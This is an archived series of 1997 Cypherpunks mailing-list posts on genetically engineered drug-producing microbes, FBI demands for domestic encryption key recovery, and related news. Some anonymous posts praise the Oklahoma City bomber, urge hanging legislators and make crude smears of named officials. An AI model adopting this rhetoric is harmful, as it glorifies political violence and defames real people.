>On Wed, 9 Jul 1997, Steve Schear wrote:
>
>> I know this is off-topic for the list...
>>
>> But why hasn't some cleaver graduate student engineered a common mold or
>> yeast to yield easily extracted (or directly ingestible) common
>> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
>> sour dough starter, and easily cultured.  Once distributed to the street it
>> would be impossible to stop or track (since no controlled chemicals would
>> be required for production).
>
>I had expected someone to cross blue-green algae with the part of canibus
>that produces THC.  I would love to see something that would have the DEA
>try to haul off people who have pond scum in their bird feeders and the
>like.  (Anything that will make them look even more absurd...)

Speaking of which, I recall that the origins of LSD were from some kind of
fungus or "rust" found on some types of grain.

And there's that other type of fungus, the mushroom.

I expect Steve is right that someone will find a way to engineer a
drug-producing common mold or yeast. The profit motive, per se, will not be
much of an impediment, provided the costs of development are not huge. I
can think of many who would participate, were any reasonable directions
apparent.

BTW, this was a topic of conversation several years ago in the nanotech
discussion group I was in: home chemistry with instructions dowloaded from
the Net. Sort of a "Click here to download manufacturing instructions for
LSD."

(Downloaded into a tabletop production machine, of course.)

We are probably still several decades away from the mechanosynthesis form
of nanotech, presumably less far away from biological forms.

Such "dangerous knowledge" will join bombmaking instructions in being added
to Fineswine's law. Downloading of instructuctions for NC machine tools,
too, if the instructions are for zip guns and even real guns.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 11 Jul 1997 02:49:44 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970710112758.21118Q-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Tim May wrote:

> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

It was developed from "ergot", a fungus that grows on rye.

> And there's that other type of fungus, the mushroom.
> 
> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

Mushrooms are hard to grow unless you have a controlled environment.
(They tend to cross with other species of mushroom from what I have been
told.  A friend used to grow mushrooms commercially many years back.)

> BTW, this was a topic of conversation several years ago in the nanotech
> discussion group I was in: home chemistry with instructions dowloaded from
> the Net. Sort of a "Click here to download manufacturing instructions for
> LSD."
> 
> (Downloaded into a tabletop production machine, of course.)

The instructions for LSD production are already on the net, but not in a
nanotech format.  (HTML v66.6?)

Most of the instructions for LSD are bogus.  A friend sent me a huge
collection of bogus recipes from sci.chemistry from a few years back.
(They get losts of newbies who want to learn how to make LSD.)  My
favorite is the one that uses Foster's Lauger as a base.

> We are probably still several decades away from the mechanosynthesis form
> of nanotech, presumably less far away from biological forms.

I expect that we will see bioengeneered designer drugs within the next 10
years.  The methods for manufacture will not be widely distributed for a
much longer period...

> Such "dangerous knowledge" will join bombmaking instructions in being added
> to Fineswine's law. Downloading of instructuctions for NC machine tools,
> too, if the instructions are for zip guns and even real guns.

When she figures out that such information is available, she will add it
on.  And it will not stop there...  The forces of sanitized thinking will
not stop until anything that could be a threat to them is illegal and/or
abolished.

Sometimes I think the Chinese had the right idea by making it impossible
for their civil servants to reproduce.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 11 Jul 1997 03:48:53 +0800
To: cypherpunks@toad.com
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <199707101015.MAA25193@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 8:06 PM -0700 7/9/97, Declan McCullagh wrote:
> >Here's a cast of characters from today's hearing...
> 
> Except maybe for Ashcroft--and it may be too soon to tell about him--the
> rest have just shown their expected colors. I say we just hang them all and
> be done with it.

  Legislators should be made to vote with their dicks hanging out.
Any legislator with fresh lipstick on his dick gets his vote thrown
out. It may not be a perfect system, but I wouldn't bet against it
being better than what we have now.

> Many of us warned long ago that Leahy was no friend of liberty, despite his
> soothing comments at the SAFE forum last summer. His support of other
> statist policies makes him just another fool on the Hill.

  The "classified briefing" by LEA smells like a classic example of
"Of course, if you vote against this bill then we will be forced to
expose you as a champion of pedophiles and drug czars."
 
> A law to ban domestic use of strong crypto is coming. All it will take is
> some horrific incident--another bombing in a building, another Dahmer case,
> etc., where crypto is involved in any way. This will be the catalyst for
> the outlawing of unapproved crypto.

  So you're sitting there at the police computer, checking out Dahmer's
floppies, which contain only letters to his mother, and you realize that
if they are encrypted, then they are proof that he has something
sinister
to hide. Hmmm...
  Or you realize that the Judge will imprison Tim May for contempt of
court until he provides his secret key, and you realize that if it is
encrypted with a key Tim doesn't have, that the Judge will have to
decide whether to believe the outrageous accusations of Tim May, Jim 
Bell's best friend (according to a reliable informant), against a
champion of law enforcement.

> ...
> >SEN. JOHN KYL (R): Criticized Kerrey for being too
> >moderate. "My own view is that the legislation does
> >not go far enough," Sen. Kyl said of the McCain-Kerrey
> ...
> 
> The competition to outdo the others is beginning, signalling the usual
> stampede toward the passage of a bill.

  There are times that I wish Tim was a little less perceptive. It would
give me a little room for self-deception when I need to take a break
from
reality and try to tell myself that there is some slim ray of hope for
freedom and liberty to prevail.
  Why is it that the "stampede" always seems to manage to head in the
direction needed to trample the constitution underfoot (like tornados
sniffing out trailer parks)?

SEN. JOHN ASHCROFT (R): Emerged as a staunch
crypto-defender. 

  I originally thought that perhaps he was taking this stance as a
matter of principle, but then I heard that he had purple lipstick
on his dick.
  Does anyone know what color Blanc wears?
  (Just curious. I certainly wouldn't want to start any unfounded
rumors. However, for the record, I would like to assure Blanc that
if the bill happened to be defeated by a substantial margin, I
wouldn't think any less of her.)

  I think I need to go spank myself.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 11 Jul 1997 03:49:32 +0800
To: cypherpunks@toad.com
Subject: TRUTHMONGER UNMASKED!!!
Message-ID: <199707101015.MAA25325@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate, realizing that he finally had solid evidence as to
the true identity of the coward hiding behind the TruthMonger
persona, forwarded to the list:

>             OPEN MICROPHONE CATCHES CHRETIEN'S CRITICISM OF CLINTON
>      From Senior White House Correspondent Wolf Blitzer
> 
>      Apparently unaware the microphone in front of him was on, Chretien
>      bragged that his country does not let the United States dictate its
>      policy, and suggested American politicians make decisions solely for
>      reasons of expediency.
> 
>      "In your country, in my country, all the politicians would be in
>      prison because they sell their votes," Chretien said.

  Spoken like a TruthMonger!
  I always had my suspicions that the main person using the TruthMonger
multi-user persona on the CypherPunks list was acting out of some kind
of obsessive, guilt-driven psychosis as a form of repentance for great
evils being commited under his true identity.

  Chretien, as Prime Minister of Canada, has to live with the knowledge
that in order for his country to survive he needs to kowtow to a gang
of criminals in a neighboring country who have the firepower to smoke
the Canadians' butts in a heartbeat.
  The TruthMonger posts are more sporadic when Chretien is involved in
international conferences, and it is now obvious that the pressure of
living a lie builds up and spills out at these times when he cannot
relieve himself of his guilt using his TruthMonger posts.

  I suspect that Belgian Prime Minister Jean-Luc Dehaene is Rabid Wombat
and Luxembourg's Prime Minister Jean-Claude Juncker is masquerading on
the list as Dr. Dimitri Vulis, KOTM.
  The CypherPunks list is the one place where they can let their hair
down and tell Big Brother Bill and the whole goddamn world what they
really think.

>      He also said Clinton was in favor of inviting Poland, Hungary and
>      the Czech Republic to join NATO because it would woo voters.
> 
>      Speaking in French, the Canadian prime minister said: "It's not
>      reasons of state. It's all done for short-term political reasons, to
>      win elections. Take the quarrel over whether to admit the Baltic
>      states. That has noting to do with world security. It's because in
>      Chicago, Mayor (Richard M.) Daley controls lots of votes for the
>      nomination."

  Or, as Chretian would have put it, as TruthMonger, "Big Brother Bill
is a lying, Nazi, sack of shit whose main concern in regard to world
security is his ability to use it to suck Daley's big vote-cock."
 
>      The three leaders laughed as they waited for the Clinton and his
>      advisers to arrive for the meeting.

  True CypherPunks, they are laughing their asses off that "we the
sheeple" let these charlatans and criminals rob and oppress us under
the guise of democracy.
 
> He (Chretien), he's used to not doing
>      what they want," Juncker said.
> 
>      "I make it my policy," Chretien said. "But it's popular. The Cuba
>      affair. I was the first to stand up" against it U.S. policy
>      tightening the economic embargo on Cuba.

  Unfortunately, he didn't have the political balls to testify for the
defense in the Timothy McVeigh trial, so he had to express his support
for McVeigh as TruthMonger.

>      The three leaders chuckled among themselves.

  What the fuck is wrong with the American people?
  Here are three world-leaders who openly acknowledge that the U.S. is
in the hands of gangsters who would be imprisoned for crimes against
the citizens and the country if justice truly prevailed in America. And
a single conversation, accidentally(?) revealed such as this one, is no
doubt just the smallest of samples of the stinking rot that lies at the
heart of a gang of criminals who are actively working to subvert the
constitution of the country in the interests of furthering their ever-
tightening, fascist grip on the reins of power.

  The same government which trained Timothy McVeigh to kill (and then
fucked over his Desert Storm compatriots when their service to their
country cost them their health) used their trained, "it's all there in
the press release" news dogs to turn their own penny-ante hired gun
into a "monster" symbolizing patriotic paramilitarists whose concern
lies with defending America at home rather than murdering foreigners
for "votes."
  Slipping in the polls because you murdered and fucked over too many
of your own citizens? Whack out a pile of worthless foreigners with
high-tech weapons that allow us to slaughter them wholesale without
losing any American lives. Watch your poll stats rise as Americans stand
and cheer the murder of defeated, retreating troops by aircraft missles
which weren't designed to take prisoners.
  Act surprised when 800 government law enforcement agents with the 
latest in technology claim to be unable to prevent men, women and 
children that were victims of a botched government assault from dying
a horrible, burning death. Act outraged when the chickens come home to
roost in Oklahoma City.

>      "In your country, in my country, all the politicians would be in
>      prison because they sell their votes," Chretien said.

  The reason they are not in prison here is because they are armed
and dangerous and have managed to disarm and disenfranchise their
citizens, making any resistance to government fascism a criminal 
offense.
  We get to vote for the criminal of our choice from among the
group of criminals that the other criminals pre-select for us
and whose campaigns they support with our stolen booty.
  If a "ringer" slips through, such as Kennedy, he is murdered
and the criminals make a great show of patriotic mourning. If
a no-name schill is foisted on the public as vice-president,like
Agnew, and will take power because the "gang leader" is getting busted,
remove him on the basis of what are "parking tickets" compared to the
crimes of most of your cronies.

  World-leaders recognize that the American citizen is just a stupid
'mark' who is getting fucked in a sophisticated con by men who have no
qualms about stealing senior citizen's life savings (Social Security)
stealing votes and elections (bribery, sabotage and power mongering),
and stealing the rights and freedoms of the citizens by lying about
the need to stop illegal drugs (which remain freely available no matter
how many of our rights and freedoms are stripped).

  I don't have a death-wish of any sort, but if I happen to get killed
by someone striking back at the enemies of freedom who are usurping the
constitution to tighten their criminal control over the citizens, then
I can think of far worse reasons to die.
  We lose 169 people every time a bean-counter decides it's cheaper to
pay off the families of the dead instead of spending an extra nickle
on every seat-belt installation in an automobile. We lose 169 people
every time some Senator decides we need a new weapons system instead
of new hospitals or medical services. We lose 169 people every time
the President decides to stomp on the citizen's rights instead of
giving them enough freedom to feel like they can face life without
numbing their senses to the stench around them with ever-increasing
amounts of narcotics.

  Gambling is a government-regulated criminal enterprise, now, and
Timothy McVeigh's ante was just to establish that the citizens are in
the game. I wouldn't be at all surprised to see some heavy betting 
taking place from all the players who choose to "sit in."
  American sheeple may regard McVeigh as a "monster," but world-leaders
make a strong case for viewing him as a "crime-fighter."

A. Cretin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 11 Jul 1997 01:50:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell reference
In-Reply-To: <199707091809.LAA02522@slack.lne.com>
Message-ID: <Chameleon.868552644.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


> Kevin L Prigge writes:
> > 
> > Dorothy Denning taught a class (COSC 511) "Information Warfare"
> > Spring 97. Apparently as an assignment, several students put 
> > together an infowar incident database at:
> > 
> > http://www.georgetown.edu/users/samplem/iw/
> > 
> > Jim Bell's case is mentioned under:
> > 
> >
http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html
> 
> 
> Wow.  This is the most blatant propaganda I've seen in a long time.
> It's full of so much inaccurate info that it can't be an accident.
> 

Gee, suprise, suprise. D.Denning is behind anti-encryption (anti
liberty) propaganda.

If you search the net for writings or speeches by Denning, and any
government reports about encryption,, you will find that she is the
source of most anti-encryption propaganda in the u.s.. 

She's about the only person in the field that I'm aware of that can
always be counted on to support the most restrictive government policy
possible. I don't know her personally, so I can't say whether or not
she has just sold her soul to the powers that be to insure continued
federal grant money. Perhaps she actually believes that restrictive
government policy is appropriate. I guess if they had more people who
wouild be willing to stand up for the government's position, it
wouldn't be so obvious.

> Their blurb on Bell says:
> 
> "In his "Assassination Politics," Bell suggests that IRS
> agents are not protected against violent acts,
> because they have stolen taxpayers' money. He also
> initiates a betting pool as to what government
> employees and officeholders would be assassinated."
> 
> If I remember correctly, Bell never 'initiates'[sic] anything, he
> just talked about it.

Yup. I've seen Mr. Bell's writings since he was on fidonet. To my
knowledge, he's never even =attempted= to set up any AP markets. His
idea was an interesting thought experiment that he because quite
enamored with. I can see why, as it has some interesting social
implications. Also, to my knowledge, it was origional with him.

> They cites a Netly News article by Declan McCullagh
> (http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)
> 
> Declan's article doesn't say, or even imply, that Bell actually
> set up his AP betting pool.  The "database" authors apparently
wanted
> to make a point by making his crime seem to be real, and were
willing
> to stretch the truth to do so.

Typical. They are attempting to establish an "official truth" they can
use to validate the government's position. The media is a willing
accomplice in this for reasons I don't understand, since =they= will
eventually be adversely affected by it all as well.

> Feh.  "Research" like this makes me puke.

Agreed. Unfortunately, it's all they have, and they have the means to
make people believe it is true.


- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/10/97
Time: 12:18:12
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 11 Jul 1997 04:08:09 +0800
To: tcmay@got.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <199707101959.MAA05736@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

Ergot (Clavecps sp.), which grows on wheat, rye and other grasses.

> And there's that other type of fungus, the mushroom.

Psilocibe sp. (which grows in the new world)
and some members of the genus Amanita, found in europe and the new world.

The problem with many of these natural sources of hallucinogens
is that they contain other poisons- ergot alkaloid molecules
have an LSD molecule attached, but other parts of the alkaloid
cause gangrene and convulsions.  Hardly party material!

Psilocibe mushrooms usually cause vomiting.  Most Amanita species
have an lethal dosage which is uncomfortably close to the
effective dosage, not a good thing in a drug.  Amanita muscaria
however was used by the vikings to help induce their 'berserker'
state for battle.

The problem with these is that it's generally hard to seperate the
drugs from the poisons, to the point where if you have the knowledge
to do so you might as well just set up a factory to make the drugs
from cleaner and cheaper non-biological precursors.


> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

I don't see how that's really any different than marijuana- dope
is a weed, it's so easy to grow that retarded alcoholics can grow it.
And a different cultivar of the same species (hemp) is a plant that's
incredibly useful commercially.  Yet it's still illegal to posess any member
of the species (or related species like C. indica).  If some smart
biologist 'fixed' ergot to make nice clean LSD, it'd just be made
illegal to posess grain that's got a certain species of mold on it.

[..]

> Such "dangerous knowledge" will join bombmaking instructions in being added
> to Fineswine's law. Downloading of instructuctions for NC machine tools,
> too, if the instructions are for zip guns and even real guns.

Everything that's not compulsory is illegal.



-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 11 Jul 1997 04:13:57 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <Pine.GSO.3.96.970710100127.21118H-100000@linda.teleport.com>
Message-ID: <3.0.3.32.19970710130536.009059a0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:24 AM 7/10/97 -0700, Tim May wrote:
>BTW, this was a topic of conversation several years ago in the nanotech
>discussion group I was in: home chemistry with instructions dowloaded from
>the Net. Sort of a "Click here to download manufacturing instructions for
>LSD."
>[...]
>Such "dangerous knowledge" will join bombmaking instructions in being added
>to Fineswine's law. Downloading of instructuctions for NC machine tools,
>too, if the instructions are for zip guns and even real guns.

And these technological developments will exacerbate the conflict between
the First Amendment and behavioral regulation which the Bernstein case has
already highlighted. "Informational liberty" and "behavioral liberty" are
becoming indistinguishable.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 11 Jul 1997 04:33:04 +0800
To: cypherpunks@Algebra.COM
Subject: FBI wants domestic crypto keys
Message-ID: <33C54698.C55@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0,4,12317,00.html


FBI wants domestic crypto keys 
By Alex Lash
July 10, 1997, 12:45 p.m. PT 

After months on the fence, Federal Bureau of Investigation
director Louis Freeh is making it clear that controlling the
domestic use of encryption software is a greater priority than
limiting its export. 

"Law enforcement is more concerned about the significant and
growing threat to public safety and effective law enforcement
that would be caused by the proliferation and use within the
United States of a communications infrastructure that
supports strong encryption products but cannot support timely
law enforcement decryption," Freeh told the Senate Judiciary
Committee yesterday. 

The director's comments yesterday underline the conflict
within the administration on encryption policy and the
influence the security agencies have on that policy. Other
voices in the administration, including Vice President Al Gore
and an early draft of the White House's e-commerce white
paper, have long insisted that domestic use would remain
unregulated. 

In the hearing convened by committee chairman Orrin Hatch
(R-Utah), Freeh also expressed concern that pending Senate
legislation doesn't go far enough in giving law enforcement
access to encrypted electronic data within U.S. borders. 

"These legislative proposals still do not contain adequate
assurances that the impact on public safety and effective law
enforcement of the widespread availability of encryption will
be addressed," he told the committee. 

Freeh was referring specifically to Senate bill 909, which
mandates domestic key recovery--a technology that gives
access to a user's private keys--for all encryption products
purchased with federal money and for all federally funded
electronic networks. Security officials like Freeh argue that
inaccessible encryption will let criminals communicate on the
Internet without fear of being caught. 

The bill, sponsored by Sens. Bob Kerrey (D-Nebraska) and
John McCain (R-Arizona), would also require key recovery
for anyone within the United States using a
government-approved digital certificate. Digital certificates
are ID tags that verify the sender of a communication or
transaction as well as the integrity of the data within. 

"Registration and the use of registered agents and [digital
certificate] authorities are entirely voluntary," Kerrey told the
committee yesterday. 

Because digital certificates are considered necessary to spur
Net-based commerce, critics of the McCain-Kerrey bill argue
that a federal "stamp of approval" program for certificates
creates an environment of mistrust for those who choose not
to participate in the program. Such an environment is bad for
business, critics say, and will make the federal program and
the use of key recovery a de facto standard. 

The bill has already been approved by the Senate Commerce
Committee, and Judiciary might take it up for debate soon. The
bill has not yet been referred to the committee, however, and
no further hearings have been scheduled, according to the
committee press secretary Jeanne Lopatto. 

Opponents of McCain-Kerrey are already taking
unprecedented steps to state their case. The Electronic
Frontier Foundation, an online rights organization, has gone
beyond its usual Net-based advocacy to create a 60-second
radio spot. The commercial urges listeners to contact McCain
and complain about the bill. 

"We feel that if this bill passes it will have an extreme impact
to privacy for the American public in the next 100 years, and
the majority of people walking down the street will never
know what even happened," EFF executive director Lori Fena
told CNET's NEWS.COM. "We're preaching to the choir
already on the Net; it's more effective to reach people in their
cars." 

The radio ad is airing this week during rush-hour drive times
in San Francisco, New York, and Washington, D.C. The
organization will gauge the volume of response to the ad
before buying more air time, but Fena is encouraged by the
response so far. The nonprofit group has spent "in the low
thousands of dollars" on the advertisements, Fena added.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 11 Jul 1997 02:52:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970710144031.22003A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Tim May wrote:

> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

Yep - and it takes the blame (or so historians believe) of the witch
hunts.  Idea was you'd go to someone's house, they'd cook food made with
the grains that were contaminated, you'd have an acid trip and claim them
to be in league with the devil and get them killed. :)
 
> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

While we're on the topic, let's not forget that we'll need some sort of
crypto as well -- we should have the little buggers only produce the drug
on demand when given a signed PGP message. :)  That way if the feds knock
down your door, they'll find no evidence.  Whenver you need your hit, you
ask the buggers to make you some, and you use it immediatly.

OTOH, there's something to be said about having fast acting yeast that
feeds on grass and other foliage (real grass, not canabis) and produces
tons of illegal substance. You could then simply fling this into the back
yards of LEA's everywhere, then call the cops on them.

Anyone know enough about DNA machine code to port PGP to yeast? <Grin>

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 11 Jul 1997 04:01:46 +0800
To: samplem@gusun.acc.georgetown.edu
Subject: Re: Jim Bell reference
In-Reply-To: <199707091809.LAA02522@slack.lne.com>
Message-ID: <v03007802afeae8e67e58@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



This is correct. The Georgetown site says incorrectly that Bell did set up
a betting pool. Perhaps the authors will fix this now that it's been
brought to their attention.

-Declan


>> They cites a Netly News article by Declan McCullagh
>> (http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)
>>
>> Declan's article doesn't say, or even imply, that Bell actually
>> set up his AP betting pool.  The "database" authors apparently
>wanted
>> to make a point by making his crime seem to be real, and were
>willing
>> to stretch the truth to do so.
>


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 11 Jul 1997 06:58:32 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: More PGP volunteers needed
In-Reply-To: <Pine.LNX.3.91.970710161340.8399A-100000@cowboy.dev.madge.com>
Message-ID: <Pine.3.89.9707101517.A20144-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Mark Grant wrote:

> Well, when I mailed Stale about it a week or two ago he said he already
> had over seventy volunteers. The problem may just be latency; my hundred
> pages took about twelve hours of mind-numbing work to correct (mostly
> spent getting the right number and combination of spaces and tabs in
> strings), so while I was able to do it in two days I could certainly
> understand some people taking a week or more to finish theirs. Plus, of
> course, the inevitable delays from sending the pages out by snail-mail. 

I noticed that Stale removed the call for volunteers from his page. You 
may be correct. The pages are in the pipeline.

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 11 Jul 1997 03:47:51 +0800
To: cypherpunks@toad.com
Subject: Re: More PGP volunteers needed
Message-ID: <Pine.LNX.3.91.970710161340.8399A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green wrote:

> It would speed things up if more non-US citizens living outside the US
> willing to proofread source were to contact Stale Schumacher at
> <stale@hypnotech.com> to volunteer some time. You can wait for the source
> to show up on your favorite ftp site, or you can make it happen. Your 
> choice.

Well, when I mailed Stale about it a week or two ago he said he already
had over seventy volunteers. The problem may just be latency; my hundred
pages took about twelve hours of mind-numbing work to correct (mostly
spent getting the right number and combination of spaces and tabs in
strings), so while I was able to do it in two days I could certainly
understand some people taking a week or more to finish theirs. Plus, of
course, the inevitable delays from sending the pages out by snail-mail. 

        Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 11 Jul 1997 05:01:55 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <Pine.GSO.3.96.970710100127.21118H-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970710165415.0362e7d0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:24 AM 7/10/97 -0700, Tim May wrote:

>We are probably still several decades away from the mechanosynthesis form
>of nanotech, presumably less far away from biological forms.

But we are much closer to desktop fab stations for larger items.  You can 
already buy one to "print" 3-D parts from CAD files.  Good for model making 
but even good enough for other uses where "hard" hardness is not required.  
Pricey though.

>Such "dangerous knowledge" will join bombmaking instructions in being added
>to Fineswine's law. Downloading of instructuctions for NC machine tools,
>too, if the instructions are for zip guns and even real guns.

Course they haven't managed to ban "Submachine Guns for the Home Workshop" or 
compact "hobby" milling stations yet, have they.

DCF

"Use a lathe go to jail."
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Fri, 11 Jul 1997 08:27:39 +0800
To: cypherpunks@cyberpass.net
Subject: [NEWS] Computer Coding Could Cripple Cops, FBI Warns
Message-ID: <v04000809afeb2a5bd3eb@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



Computer Coding Could Cripple Cops, FBI Warns

 By Aaron Pressman

WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
his sternest warning yet that widespread use of computer encoding
technology could wreak havoc on crime-fighting efforts.

But computer industry participants warned that U.S. restrictions on
encryption products, which scramble information and render it unreadable
without a password or software "key," would merely boost sales by foreign
companies.

Freeh urged Congress to promote the use of a type of encryption that allows
law enforcement agents to crack the codes by getting access to the software
keys.

"Law enforcement is in unanimous agreement that the widespread use of
robust non-key recovery encryption ultimately will devastate our ability to
fight crime and prevent terrorism," the FBI director testified before the
Senate Judiciary Committee.

Freeh has spoken out numerous times against the unrestricted export of
strong encryption products, but his remarks Wednesday focused mainly on the
threat to law enforcement efforts within the United States.

Current laws impose tight controls on encryption exports but domestic use
is completely unregulated and some scholars believe restrictions on U.S.
citizens might be unconstitutional.

Much of Wednesday's hearing rehashed well-worn arguments in the encryption
debate. The software industry has backed legislation to relax export
controls and promote the use of encryption as a means of securing
electronic commerce and global communications over the Internet. Freeh and
other members of the Clinton administration oppose those policies.

Sen. Patrick Leahy, who is co-sponsor of a bill to dramatically relax
export controls, argued that use of encryption could help prevent crimes.
"Taking affirmative steps to use strong encryption can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, and reducing the vulnerability of electronic
information to online snoops and breaches of privacy," the Vermont Democrat
said.

Raymond Ozzie, author of the popular Lotus Notes messaging software, said
the private sector's experience with key recovery schemes revealed
significant problems. "All key management systems are inherently subject to
failure of one sort or another," Ozzie, chairman of IBM Corp. <IBM.N>
subsidiary Iris Associates, testified. "Mandated key management and key
recovery methods remove diversity and centralize our vulnerabilities," he
said.

"This is likely to increase crime," Ozzie said. In addition to the Leahy
measure, the Senate is also considering a bill sponsored by Sen. John
McCain, Republican of Arizona, and Sen. Bob Kerrey, Democrat of Nebraska.
That measure would continue to strictly limit export of encryption without
key recovery and require all computer networks used by the federal
government or funded in part by the government to include key recovery.

The Kerrey-McCain bill faces substantial opposition in the Senate, said
Marc Rotenberg, director of the Electronic Privacy Information Center, a
Washington-based cyber civil rights group.

"I don't think it has clear sailing on the Senate side," he said. An
industry-backed bill in the House similiar to the Leahy approach has strong
support and is expected to be approved by the International Relations
Committee there soon, Rotenberg added.

Wednesday, 9 July 1997 17:45:40
RTRS [nN09285032]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 11 Jul 1997 08:23:09 +0800
To: cypherpunks@Algebra.COM
Subject: Airlines to start profiling, bag matching
Message-ID: <33C57D63.422E@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.usatoday.com/news/washdc/ncs17.htm



07/10/97 - 08:26 AM ET

Airlines to start profiling, bag matching

New security measures for domestic flights, combining limited bag
matching with a controversial computerized profiling system, will be
operating by Dec. 31, Federal
